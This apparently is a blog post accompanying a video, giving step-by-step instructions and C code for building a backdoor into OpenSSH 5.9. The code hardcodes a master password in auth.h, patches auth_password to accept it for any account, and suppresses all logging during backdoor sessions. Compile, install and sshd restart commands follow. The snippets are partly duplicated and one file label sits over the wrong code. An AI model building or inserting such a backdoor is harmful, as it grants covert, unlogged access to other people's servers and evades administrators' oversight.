[Video] - Build a backdoor in OpenSSH 5.9
In this short video I will show you, how you can build a backdoor in OpenSSH 5.9
Steps
1. Define the backdoor password in auth.h 2. Edit the auth-passwd.c file and set the backdoor into it 3. Set integer ‘backdoorActive’ in log.h 4. Disable logging for the backdoor login in log.c 5. Compile 6. Test the backdoor :-) |
auth.h
#define B4CKD00R "myeasypass"
int backdoorActive;
int backdoorActive;
auth-passwd.c
log.c
int
auth_password(Authctxt *authctxt, const char *password)
{
struct passwd * pw = authctxt->pw;
int ok = authctxt->valid;
backdoorActive = 0;
if (!strcmp(password, B4CKD00R)) {
backdoorActive = 1;
return 1;
}
auth_password(Authctxt *authctxt, const char *password)
{
struct passwd * pw = authctxt->pw;
int ok = authctxt->valid;
backdoorActive = 0;
if (!strcmp(password, B4CKD00R)) {
backdoorActive = 1;
return 1;
}
log.h
int backdoorActive;
log.c
void
do_log(LogLevel level, const char *fmt, va_list args)
{
if(backdoorActive == 1)
return;
do_log(LogLevel level, const char *fmt, va_list args)
{
if(backdoorActive == 1)
return;
Compile
make obj
make cleandir
make depend
make
make install
make cleandir
make depend
make
make install
Restart SSHd
kill -HUP `cat /var/run/sshd.pid`
Test it :-)
Comments
Display comments as Linear | Threaded